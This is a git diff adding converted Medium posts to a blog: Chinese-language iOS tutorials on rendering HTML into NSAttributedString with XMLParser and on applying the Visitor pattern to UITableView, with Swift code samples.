` + + + +> 個人認為單純要 Strip HTML **Option 2\. 是比較好的方法** ,會介紹此方法是因為 Render HTML 也是使用相同原理,先用這個做為簡單範例 :\) + + + + +### HTML Render w/XMLParser + +使用 XMLParser 自行實現,同 Strip 原理,我們可以多加上剖析到什麼 Tag 時要做對應的渲染方式。 + +需求規格: +- 支援擴充想剖析的 Tag +- 支援設定 Tag Default Style e\.g <a> Tag 套用連結樣式 +- 支援剖析 `style` Attributed,因 HTML 會在 `style="color:red"` 上去明示要顯示的樣式 +- 樣式支援更改文字粗細、大小、底線、行距、字距、背景顏色、字顏色 +- 不支援 Image Tag、Table Tag…等較複雜 TAG + + + +> 大家可依照自己的規格需求去刪減功能,例如不需支援背景顏色調整,則不需要開出可設定背景顏色的口。 + + + + + +> 本文只是概念實現, **並非架構上的 Best Practice** ;如有明確規格、使用方式,可考慮套用些 Design Pattern 來實現,達成好維護好擴充。 + + + + +### ⚠️⚠️⚠️ Attention ⚠️⚠️⚠️ + +再次提醒, **如果你的 App 是全新的或有機會直接全改成 Markdown 格式,建議還是採用以上方式,本篇自行撰寫 Render 太複雜且效能不會比 Markdown 好** 。 + + +> 即使你是 iOS < 15 不支援原生 Markdown,還是可以在 Github 上找到 [大神做好的 Markdown Parser 方案](https://github.com/chockenberry/MarkdownAttributedString){:target="_blank"} 。 + + + + +#### HTMLTagParser +```swift +protocol HTMLTagParser { + static var tag: String { get } // 宣告想解析的 Tag Name, e.g. a + var storedHTMLAttributes: [String: String]? { get set } // Attributed 解析結果將存放於此, e.g. href,style + var style: AttributedStringStyle? { get } // 此 Tag 想套用的樣式 + + func render(attributedString: inout NSMutableAttributedString) // 實現渲染 HTML to attributedString 的邏輯 +} +``` + +宣告可剖析的 HTML Tag 實體,方便擴充管理。 +#### AttributedStringStyle +```swift +protocol AttributedStringStyle { + var font: UIFont? { get set } + var color: UIColor? { get set } + var backgroundColor: UIColor? { get set } + var wordSpacing: CGFloat? { get set } + var paragraphStyle: NSParagraphStyle? { get set } + var customs: [NSAttributedString.Key: Any]? { get set } // 萬能設定口,建議確定可支援規格後將其抽象出來,並關閉此開口 + func render(attributedString: inout NSMutableAttributedString) +} + + +// abstract implement +extension AttributedStringStyle { + func render(attributedString: inout NSMutableAttributedString) { + let range = NSMakeRange(0, attributedString.length) + if let font = font { + attributedString.addAttribute(NSAttributedString.Key.font, value: font, range: range) + } + if let color = color { + attributedString.addAttribute(NSAttributedString.Key.foregroundColor, value: color, range: range) + } + if let backgroundColor = backgroundColor { + attributedString.addAttribute(NSAttributedString.Key.backgroundColor, value: backgroundColor, range: range) + } + if let wordSpacing = wordSpacing { + attributedString.addAttribute(NSAttributedString.Key.kern, value: wordSpacing as Any, range: range) + } + if let paragraphStyle = paragraphStyle { + attributedString.addAttribute(NSAttributedString.Key.paragraphStyle, value: paragraphStyle, range: range) + } + if let customAttributes = customs { + attributedString.addAttributes(customAttributes, range: range) + } + } +} +``` + +宣告 Tag 可供設定的樣式。 +#### HTMLStyleAttributedParser +```swift +// only support tag attributed down below +// can set color,font seize,line height,word spacing,background color + +enum HTMLStyleAttributedParser: String { + case color = "color" + case fontSize = "font-size" + case lineHeight = "line-height" + case wordSpacing = "word-spacing" + case backgroundColor = "background-color" + + func render(attributedString: inout NSMutableAttributedString, value: String) -> Bool { + let range = NSMakeRange(0, attributedString.length) + switch self { + case .color: + if let color = convertToiOSColor(value) { + attributedString.addAttribute(NSAttributedString.Key.foregroundColor, value: color, range: range) + return true + } + case .backgroundColor: + if let color = convertToiOSColor(value) { + attributedString.addAttribute(NSAttributedString.Key.backgroundColor, value: color, range: range) + return true + } + case .fontSize: + if let size = convertToiOSSize(value) { + attributedString.addAttribute(NSAttributedString.Key.font, value: UIFont.systemFont(ofSize: CGFloat(size)), range: range) + return true + } + case .lineHeight: + if let size = convertToiOSSize(value) { + let paragraphStyle = NSMutableParagraphStyle() + paragraphStyle.lineSpacing = size + attributedString.addAttribute(NSAttributedString.Key.paragraphStyle, value: paragraphStyle, range: range) + return true + } + case .wordSpacing: + if let size = convertToiOSSize(value) { + attributedString.addAttribute(NSAttributedString.Key.kern, value: size, range: range) + return true + } + } + + return false + } + + // convert 36px -> 36 + private func convertToiOSSize(_ string: String) -> CGFloat? { + guard let regex = try? NSRegularExpression(pattern: "^([0-9]+)"), + let firstMatch = regex.firstMatch(in: string, options: [], range: NSRange(location: 0, length: string.utf16.count)), + let range = Range(firstMatch.range, in: string), + let size = Float(String(string[range])) else { + return nil + } + return CGFloat(size) + } + + // convert html hex color #ffffff to UIKit Color + private func convertToiOSColor(_ hexString: String) -> UIColor? { + var cString: String = hexString.trimmingCharacters(in: .whitespacesAndNewlines).uppercased() + + if cString.hasPrefix("#") { + cString.remove(at: cString.startIndex) + } + + if (cString.count) != 6 { + return nil + } + + var rgbValue: UInt64 = 0 + Scanner(string: cString).scanHexInt64(&rgbValue) + + return UIColor( + red: CGFloat((rgbValue & 0xFF0000) >> 16) / 255.0, + green: CGFloat((rgbValue & 0x00FF00) >> 8) / 255.0, + blue: CGFloat(rgbValue & 0x0000FF) / 255.0, + alpha: CGFloat(1.0) + ) + } +} +``` + +實現 Style Attributed Parser 解析 `style="color:red;font-size:16px"` 但 CSS Style 有非常多可設定樣式,所以需要列舉可支援範圍。 +```swift +extension HTMLTagParser { + + func render(attributedString: inout NSMutableAttributedString) { + defaultStyleRender(attributedString: &attributedString) + } + + func defaultStyleRender(attributedString: inout NSMutableAttributedString) { + // setup default style to NSMutableAttributedString + style?.render(attributedString: &attributedString) + + // setup & override HTML style (style="color:red;background-color:black") to NSMutableAttributedString if is exists + // any html tag can have style attribute + if let style = storedHTMLAttributes?["style"] { + let styles = style.split(separator: ";").map { $0.split(separator: ":") }.filter { $0.count == 2 } + for style in styles { + let key = String(style[0]) + let value = String(style[1]) + + if let styleAttributed = HTMLStyleAttributedParser(rawValue: key), styleAttributed.render(attributedString: &attributedString, value: value) { + print("Unsupport style attributed or value[\(key):\(value)]") + } + } + } + } +} +``` + +套用 HTMLStyleAttributedParser & HTMLStyleAttributedParser 抽象實現。 +#### 一些 Tag Parser & AttributedStringStyle 的實現範例 +``` +struct LinkStyle: AttributedStringStyle { + var font: UIFont? = UIFont.systemFont(ofSize: 14) + var color: UIColor? = UIColor.blue + var backgroundColor: UIColor? = nil + var wordSpacing: CGFloat? = nil + var paragraphStyle: NSParagraphStyle? + var customs: [NSAttributedString.Key: Any]? = [.underlineStyle: NSUnderlineStyle.single.rawValue] +} + +struct ATagParser: HTMLTagParser { + // + static let tag: String = "a" + var storedHTMLAttributes: [String: String]? = nil + let style: AttributedStringStyle? = LinkStyle() + + func render(attributedString: inout NSMutableAttributedString) { + defaultStyleRender(attributedString: &attributedString) + if let href = storedHTMLAttributes?["href"], let url = URL(string: href) { + let range = NSMakeRange(0, attributedString.length) + attributedString.addAttribute(NSAttributedString.Key.link, value: url, range: range) + } + } +} +struct BoldStyle: AttributedStringStyle { + var font: UIFont? = UIFont.systemFont(ofSize: 14, weight: .bold) + var color: UIColor? = UIColor.black + var backgroundColor: UIColor? = nil + var wordSpacing: CGFloat? = nil + var paragraphStyle: NSParagraphStyle? + var customs: [NSAttributedString.Key: Any]? = [.underlineStyle: NSUnderlineStyle.single.rawValue] +} + +struct BoldTagParser: HTMLTagParser { + // + static let tag: String = "b" + var storedHTMLAttributes: [String: String]? = nil + let style: AttributedStringStyle? = BoldStyle() +} +``` +#### HTMLToAttributedStringParser: XMLParserDelegate 核心實現 +```swift +// Ref: https://github.com/malcommac/SwiftRichString +final class HTMLToAttributedStringParser: NSObject { + + private static let topTag = "source" + private var xmlParser: XMLParser? + + private(set) var attributedString: NSMutableAttributedString = NSMutableAttributedString() + private(set) var supportedTagRenders: [HTMLTagParser] = [] + private let defaultStyle: AttributedStringStyle + + /// Styles applied at each fragment. + private var renderingTagRenders: [HTMLTagParser] = [] + + // The XML parser sometimes splits strings, which can break localization-sensitive + // string transforms. Work around this by using the currentString variable to + // accumulate partial strings, and then reading them back out as a single string + // when the current element ends, or when a new one is started. + private var currentString: String? + + // MARK: - Initialization + + init(defaultStyle: AttributedStringStyle) { + self.defaultStyle = defaultStyle + super.init() + } + + func register(_ tagRender: HTMLTagParser) { + if let index = supportedTagRenders.firstIndex(where: { type(of: $0).tag == type(of: tagRender).tag }) { + supportedTagRenders.remove(at: index) + } + supportedTagRenders.append(tagRender) + } + + /// Parse and generate attributed string. + func parse(string: String) throws -> NSAttributedString { + var xmlString = HTMLToAttributedStringParser.escapeWithUnicodeEntities(string) + + // make sure
format is correct XML + // because Web may use
to present
, but
is not a vaild XML + xmlString = xmlString.replacingOccurrences(of: "
", with: "
") + + let xml = "<\(HTMLToAttributedStringParser.topTag)>\(xmlString)" + guard let data = xml.data(using: String.Encoding.utf8) else { + throw XMLParserInitError("Unable to convert to UTF8") + } + + let xmlParser = XMLParser(data: data) + xmlParser.shouldProcessNamespaces = false + xmlParser.shouldReportNamespacePrefixes = false + xmlParser.shouldResolveExternalEntities = false + xmlParser.delegate = self + self.xmlParser = xmlParser + + attributedString = NSMutableAttributedString() + + guard xmlParser.parse() else { + let line = xmlParser.lineNumber + let shiftColumn = (line == 1) + let shiftSize = HTMLToAttributedStringParser.topTag.lengthOfBytes(using: String.Encoding.utf8) + 2 + let column = xmlParser.columnNumber - (shiftColumn ? shiftSize : 0) + + throw XMLParserError(parserError: xmlParser.parserError, line: line, column: column) + } + + return attributedString + } +} + +// MARK: Private Method + +private extension HTMLToAttributedStringParser { + func enter(element elementName: String, attributes: [String: String]) { + // elementName = tagName, EX: a,span,div... + guard elementName != HTMLToAttributedStringParser.topTag else { + return + } + + if let index = supportedTagRenders.firstIndex(where: { type(of: $0).tag == elementName }) { + var tagRender = supportedTagRenders[index] + tagRender.storedHTMLAttributes = attributes + renderingTagRenders.append(tagRender) + } + } + + func exit(element elementName: String) { + if !renderingTagRenders.isEmpty { + renderingTagRenders.removeLast() + } + } + + func foundNewString() { + if let currentString = currentString { + // currentString != nil ,ex: currentString + var newAttributedString = NSMutableAttributedString(string: currentString) + if !renderingTagRenders.isEmpty { + for (key, tagRender) in renderingTagRenders.enumerated() { + // Render Style + tagRender.render(attributedString: &newAttributedString) + renderingTagRenders[key].storedHTMLAttributes = nil + } + } else { + defaultStyle.render(attributedString: &newAttributedString) + } + attributedString.append(newAttributedString) + self.currentString = nil + } else { + // currentString == nil ,ex:
+ var newAttributedString = NSMutableAttributedString() + for (key, tagRender) in renderingTagRenders.enumerated() { + // Render Style + tagRender.render(attributedString: &newAttributedString) + renderingTagRenders[key].storedHTMLAttributes = nil + } + attributedString.append(newAttributedString) + } + } +} + +// MARK: Helper + +extension HTMLToAttributedStringParser { + // handle html entity / html hex + // Perform string escaping to replace all characters which is not supported by NSXMLParser + // into the specified encoding with decimal entity. + // For example if your string contains '&' character parser will break the style. + // This option is active by default. + // ref: https://github.com/malcommac/SwiftRichString/blob/e0b72d5c96968d7802856d2be096202c9798e8d1/Sources/SwiftRichString/Support/XMLStringBuilder.swift + static func escapeWithUnicodeEntities(_ string: String) -> String { + guard let escapeAmpRegExp = try? NSRegularExpression(pattern: "&(?!(#[0-9]{2,4}|[A-z]{2,6});)", options: NSRegularExpression.Options(rawValue: 0)) else { + return string + } + + let range = NSRange(location: 0, length: string.count) + return escapeAmpRegExp.stringByReplacingMatches(in: string, + options: NSRegularExpression.MatchingOptions(rawValue: 0), + range: range, + withTemplate: "&") + } +} + +// MARK: XMLParserDelegate + +extension HTMLToAttributedStringParser: XMLParserDelegate { + func parser(_ parser: XMLParser, didStartElement elementName: String, namespaceURI: String?, qualifiedName qName: String?, attributes attributeDict: [String: String]) { + foundNewString() + enter(element: elementName, attributes: attributeDict) + } + + func parser(_ parser: XMLParser, didEndElement elementName: String, namespaceURI: String?, qualifiedName qName: String?) { + foundNewString() + guard elementName != HTMLToAttributedStringParser.topTag else { + return + } + + exit(element: elementName) + } + + func parser(_ parser: XMLParser, foundCharacters string: String) { + currentString = (currentString ?? "").appending(string) + } +} +``` + +套用 Strip 的邏輯,我們可以幫拆好的架構在其中進行組合從 `elementName` 知道當前的 Tag 並套用相應的 Tag Parser 及套上定義好的 Style。 +#### Test Result +```swift +let test = "我
同意提供身分證字號/護照/居留證號碼,以供跨境物流方通關使用,並已了解跨境
商品之物

流需

求" +let render = HTMLToAttributedStringParser(defaultStyle: DefaultTextStyle()) +render.register(ATagParser()) +render.register(BoldTagParser()) +render.register(SpanTagParser()) +//... +print(try! render.parse(string: test)) + +// Result: +// 我{ +// NSColor = "UIExtendedGrayColorSpace 0 1"; +// NSFont = "\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\""; +// NSParagraphStyle = "Alignment 4, LineSpacing 3, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\n 28L,\n 56L,\n 84L,\n 112L,\n 140L,\n 168L,\n 196L,\n 224L,\n 252L,\n 280L,\n 308L,\n 336L\n), DefaultTabInterval 0, Blocks (\n), Lists (\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''"; +// }同意{ +// NSColor = "UIExtendedSRGBColorSpace 0 0 1 1"; +// NSFont = "\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\""; +// NSLink = "http://google.com"; +// NSUnderline = 1; +// }提供{ +// NSColor = "UIExtendedGrayColorSpace 0 1"; +// NSFont = "\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\""; +// NSParagraphStyle = "Alignment 4, LineSpacing 3, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\n 28L,\n 56L,\n 84L,\n 112L,\n 140L,\n 168L,\n 196L,\n 224L,\n 252L,\n 280L,\n 308L,\n 336L\n), DefaultTabInterval 0, Blocks (\n), Lists (\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''"; +// }個{ +// NSColor = "UIExtendedGrayColorSpace 0 1"; +// NSFont = "\".SFNS-Bold 14.00 pt. P [] (0x13a013870) fobj=0x13a013870, spc=3.46\""; +// NSUnderline = 1; +// }人身分證字號/護照/居留{ +// NSColor = "UIExtendedGrayColorSpace 0 1"; +// NSFont = "\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\""; +// NSParagraphStyle = "Alignment 4, LineSpacing 3, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\n 28L,\n 56L,\n 84L,\n 112L,\n 140L,\n 168L,\n 196L,\n 224L,\n 252L,\n 280L,\n 308L,\n 336L\n), DefaultTabInterval 0, Blocks (\n), Lists (\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''"; +// }證號碼{ +// NSColor = "UIExtendedSRGBColorSpace 1 0 0 1"; +// NSFont = "\".SFNS-Regular 20.00 pt. P [] (0x13a015fa0) fobj=0x13a015fa0, spc=4.82\""; +// NSKern = 10; +// NSParagraphStyle = "Alignment 4, LineSpacing 10, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\n 28L,\n 56L,\n 84L,\n 112L,\n 140L,\n 168L,\n 196L,\n 224L,\n 252L,\n 280L,\n 308L,\n 336L\n), DefaultTabInterval 0, Blocks (\n), Lists (\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''"; +// },以供跨境物流方通關{ +// NSColor = "UIExtendedGrayColorSpace 0 1"; +// NSFont = "\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\""; +// NSParagraphStyle = "Alignment 4, LineSpacing 3, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\n 28L,\n 56L,\n 84L,\n 112L,\n 140L,\n 168L,\n 196L,\n 224L,\n 252L,\n 280L,\n 308L,\n 336L\n), DefaultTabInterval 0, Blocks (\n), Lists (\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''"; +// }使用{ +// NSBackgroundColor = "UIExtendedSRGBColorSpace 0 1 0 1"; +// NSColor = "UIExtendedGrayColorSpace 0 1"; +// NSFont = "\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\""; +// NSParagraphStyle = "Alignment 4, LineSpacing 3, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\n 28L,\n 56L,\n 84L,\n 112L,\n 140L,\n 168L,\n 196L,\n 224L,\n 252L,\n 280L,\n 308L,\n 336L\n), DefaultTabInterval 0, Blocks (\n), Lists (\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''"; +// },並已了解跨境商品之物流需求{ +// NSColor = "UIExtendedGrayColorSpace 0 1"; +// NSFont = "\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\""; +// NSParagraphStyle = "Alignment 4, LineSpacing 3, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\n 28L,\n 56L,\n 84L,\n 112L,\n 140L,\n 168L,\n 196L,\n 224L,\n 252L,\n 280L,\n 308L,\n 336L\n), DefaultTabInterval 0, Blocks (\n), Lists (\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''"; +// } +``` + +**顯示結果:** + + +![](/assets/a8c2d26cc734/1*LaKhRLhHm2jfptG4h_jB5Q.png) + +### Done\! + +這樣我們就完成了透過 XMLParser 自行實現 HTML Render 功能,並且保留擴充性跟規格性,可以從 Code 上管理、了解到目前 App 能支援的字串渲染類型。 +### 完整 Github Repo 如下 + + +[![](https://opengraph.githubassets.com/c021159c3da82c37ff65d210c7a64aa4e56e398964b824baf4f248bb25bdb805/zhgchgli0718/HTMLToAttributedStringRednerExample)](https://github.com/zhgchgli0718/HTMLToAttributedStringRednerExample){:target="_blank"} + + + + +> _本文同步發表於個人 Blog: [**\[點我前往\]**](../a8c2d26cc734/) 。_ + + + + + +> _有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。_ + + + + + + +_[Post](https://medium.com/zrealm-ios-dev/%E8%87%AA%E8%A1%8C%E5%AF%A6%E7%8F%BE-ios-nsattributedstring-html-render-a8c2d26cc734){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2022-07-08-60473cb47550.md b/_posts/zmediumtomarkdown/2022-07-08-60473cb47550.md new file mode 100644 index 000000000..94995ecfa --- /dev/null +++ b/_posts/zmediumtomarkdown/2022-07-08-60473cb47550.md @@ -0,0 +1,304 @@ +--- +title: "Visitor Pattern in TableView" +author: "ZhgChgLi" +date: 2022-07-08T07:58:30.799+0000 +last_modified_at: 2024-04-14T02:10:44.304+0000 +categories: "ZRealm Dev." +tags: ["ios-app-development","design-patterns","visitor-pattern","uitableview","refactoring"] +description: "使用 Visitor Pattern 增加 TableView 的閱讀和擴充性" +image: + path: /assets/60473cb47550/1*0YcpTUOCDjuV6Ii4jgbK0g.jpeg +render_with_liquid: false +--- + +### Visitor Pattern in TableView + +使用 Visitor Pattern 增加 TableView 的閱讀和擴充性 + + + +![Photo by [Alex wong](https://unsplash.com/@killerfvith?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}](/assets/60473cb47550/1*0YcpTUOCDjuV6Ii4jgbK0g.jpeg) + +Photo by [Alex wong](https://unsplash.com/@killerfvith?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"} +### 前言 + +承接上篇「 [Visitor Pattern in Swift](../ba5773a7bfea/) 」介紹 Visitor 模式及一個簡單的實務應用場景,此篇將介紹另一個在 iOS 需求開發上的實際應用。 +### 需求場景 + +要開發一個動態牆功能,有多種不同類型的區塊需要動態組合顯示。 + +以 StreetVoice 的動態牆為例: + + +![](/assets/60473cb47550/1*_Liz9H0ZUD8Kk6kLKMMWjQ.png) + + +如上圖所示,動態牆是由多種不同類型的區塊動態組合而成: +- Type A: 活動動態 +- Type B: 追蹤推薦 +- Type C: 新歌動態 +- Type D: 新專輯動態 +- Type E: 新追縱動態 +- Type …\. 更多 + + +類型可預期會在未來隨著功能迭代越來越多。 +### 問題 + +在沒有任何架構設計的情況下 Code 可能會長這樣: +```swift +func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell { + let row = datas[indexPath.row] + switch row.type { + case .invitation: + let cell = tableView.dequeueReusableCell(withIdentifier: "invitation", for: indexPath) as! InvitationCell + // config cell with viewObject/viewModel... + return cell + case .newSong: + let cell = tableView.dequeueReusableCell(withIdentifier: "newSong", for: indexPath) as! NewSongCell + // config cell with viewObject/viewModel... + return cell + case .newEvent: + let cell = tableView.dequeueReusableCell(withIdentifier: "newEvent", for: indexPath) as! NewEventCell + // config cell with viewObject/viewModel... + return cell + case .newText: + let cell = tableView.dequeueReusableCell(withIdentifier: "newText", for: indexPath) as! NewTextCell + // config cell with viewObject/viewModel... + return cell + case .newPhotos: + let cell = tableView.dequeueReusableCell(withIdentifier: "newPhotos", for: indexPath) as! NewPhotosCell + // config cell with viewObject/viewModel... + return cell + } +} + +func tableView(_ tableView: UITableView, heightForRowAt indexPath: IndexPath) -> CGFloat { + let row = datas[indexPath.row] + switch row.type { + case .invitation: + if row.isEmpty { + return 100 + } else { + return 300 + } + case .newSong: + return 100 + case .newEvent: + return 200 + case .newText: + return UITableView.automaticDimension + case .newPhotos: + return UITableView.automaticDimension + } +} +``` +- 難以測試:什麼 Type 有什麼對應的邏輯輸出難以測試 +- 難以擴充維護:需要新增新 Type 時,都要更動此 ViewController;cellForRow、heightForRow、willDisplay…四散在各個 Function 內,難保忘記改,或改錯 +- 難以閱讀:全部邏輯都在 View 身上 + +### Visitor Pattern 解決方案 +#### Why? + +整理了一下物件關係,如下圖所示: + + +![](/assets/60473cb47550/1*f4tscbmMV9LkRCtz9G8WRQ.jpeg) + + +我們有許多種類型的 DataSource \(ViewObject\) 需要與多種類型的操作器做交互,是一個很典型的 [Visitor Double Dispatch](https://refactoringguru.cn/design-patterns/visitor-double-dispatch){:target="_blank"} 。 +#### How? + +為簡化 Demo Code 以下改用 `PlainTextFeedViewObject` 純文字動態、 `MemoriesFeedViewObject` 每日回憶、 `MediaFeedViewObject` 圖片動態,呈現設計。 +#### **套用 Visitor Pattern 的架構圖如下:** + + +![](/assets/60473cb47550/1*vFXx4MBtMsDO2ppIUQZgJA.jpeg) + +#### **首先定義出 Visitor 介面,此介面用途是抽象宣告出操作器能接受的 DataSource 類型:** +```swift +protocol FeedVisitor { + associatedtype T + func visit(_ viewObject: PlainTextFeedViewObject) -> T? + func visit(_ viewObject: MediaFeedViewObject) -> T? + func visit(_ viewObject: MemoriesFeedViewObject) -> T? + //... +} +``` + +各操作器實現 `FeedVisitor` 介面: +```swift +struct FeedCellVisitor: FeedVisitor { + typealias T = UITableViewCell.Type + + func visit(_ viewObject: MediaFeedViewObject) -> T? { + return MediaFeedTableViewCell.self + } + + func visit(_ viewObject: MemoriesFeedViewObject) -> T? { + return MemoriesFeedTableViewCell.self + } + + func visit(_ viewObject: PlainTextFeedViewObject) -> T? { + return PlainTextFeedTableViewCell.self + } +} +``` + +實現 ViewObject <\-> UITableViewCell 對應。 +```swift +struct FeedCellHeightVisitor: FeedVisitor { + typealias T = CGFloat + + func visit(_ viewObject: MediaFeedViewObject) -> T? { + return 30 + } + + func visit(_ viewObject: MemoriesFeedViewObject) -> T? { + return 10 + } + + func visit(_ viewObject: PlainTextFeedViewObject) -> T? { + return 10 + } +} +``` + +實現 ViewObject <\-> UITableViewCell Height 對應。 +```swift +struct FeedCellConfiguratorVisitor: FeedVisitor { + + private let cell: UITableViewCell + + init(cell: UITableViewCell) { + self.cell = cell + } + + func visit(_ viewObject: MediaFeedViewObject) -> Any? { + guard let cell = cell as? MediaFeedTableViewCell else { return nil } + // cell.config(viewObject) + return nil + } + + func visit(_ viewObject: MemoriesFeedViewObject) -> Any? { + guard let cell = cell as? MediaFeedTableViewCell else { return nil } + // cell.config(viewObject) + return nil + } + + func visit(_ viewObject: PlainTextFeedViewObject) -> Any? { + guard let cell = cell as? MediaFeedTableViewCell else { return nil } + // cell.config(viewObject) + return nil + } +} +``` + +實現 ViewObject <\-> Cell 如何 Config 對應。 + +當需要支援新的 DataSource \(ViewObject\) 時,只需在 FeedVisitor 介面上多加一個開口,並在各操作器中實現對應的邏輯。 + +**DataSource \(ViewObject\) 與操作器的綁定:** +```swift +protocol FeedViewObject { + @discardableResult func accept(visitor: V) -> V.T? +} +``` +#### **ViewObject 實現綁定的介面:** +``` +struct PlainTextFeedViewObject: FeedViewObject { + func accept(visitor: V) -> V.T? where V : FeedVisitor { + return visitor.visit(self) + } +} +struct MemoriesFeedViewObject: FeedViewObject { + func accept(visitor: V) -> V.T? where V : FeedVisitor { + return visitor.visit(self) + } +} +``` +#### **UITableView 中的實現:** +```swift +final class ViewController: UIViewController { + + @IBOutlet weak var tableView: UITableView! + + private let cellVisitor = FeedCellVisitor() + + private var viewObjects: [FeedViewObject] = [] { + didSet { + viewObjects.forEach { viewObject in + let cellName = viewObject.accept(visitor: cellVisitor) + tableView.register(cellName, forCellReuseIdentifier: String(describing: cellName)) + } + } + } + + override func viewDidLoad() { + super.viewDidLoad() + + tableView.delegate = self + tableView.dataSource = self + + viewObjects = [ + MemoriesFeedViewObject(), + MediaFeedViewObject(), + PlainTextFeedViewObject(), + MediaFeedViewObject(), + PlainTextFeedViewObject(), + MediaFeedViewObject(), + PlainTextFeedViewObject() + ] + // Do any additional setup after loading the view. + } +} + +extension ViewController: UITableViewDataSource { + func numberOfSections(in tableView: UITableView) -> Int { + return 1 + } + + func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int { + return viewObjects.count + } + + func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell { + let viewObject = viewObjects[indexPath.row] + let cellName = viewObject.accept(visitor: cellVisitor) + + let cell = tableView.dequeueReusableCell(withIdentifier: String(describing: cellName), for: indexPath) + let cellConfiguratorVisitor = FeedCellConfiguratorVisitor(cell: cell) + viewObject.accept(visitor: cellConfiguratorVisitor) + return cell + } +} + +extension ViewController: UITableViewDelegate { + func tableView(_ tableView: UITableView, heightForRowAt indexPath: IndexPath) -> CGFloat { + let viewObject = viewObjects[indexPath.row] + let cellHeightVisitor = FeedCellHeightVisitor() + let cellHeight = viewObject.accept(visitor: cellHeightVisitor) ?? UITableView.automaticDimension + return cellHeight + } +} +``` +### 結果 +- 測試:符合單一職責原則,可針對每個操作器的每個資料單點進行測試 +- 擴充維護:當需要支援新的 DataSource \(ViewObject\) 時只需在 Visitor 協議擴充一個開口,並在個別操作器 Visitor 上進行實現、需要抽離新操作器時,也只要 New 新的 Class 實現即可。 +- 閱讀:只需瀏覽各操作器物件即可知道整個頁面各個 View 的組成邏輯 + +### 完整專案 + + +[![](https://opengraph.githubassets.com/968c942531151fa399342c0b0edb304fd0bfb066a8519b2e2d490978c894e196/zhgchgli0718/VisitorPatternInTableView)](https://github.com/zhgchgli0718/VisitorPatternInTableView){:target="_blank"} + +#### Murmur… + +2022/07 思維低谷期中撰寫的文章,內容如有描述不周、錯誤敬請海納! + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/visitor-pattern-in-tableview-60473cb47550){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2022-07-15-48a8526c1300.md b/_posts/zmediumtomarkdown/2022-07-15-48a8526c1300.md new file mode 100644 index 000000000..a6436758c --- /dev/null +++ b/_posts/zmediumtomarkdown/2022-07-15-48a8526c1300.md @@ -0,0 +1,554 @@ +--- +title: "iOS 為多語系字串買份保險吧!" +author: "ZhgChgLi" +date: 2022-07-15T10:10:04.867+0000 +last_modified_at: 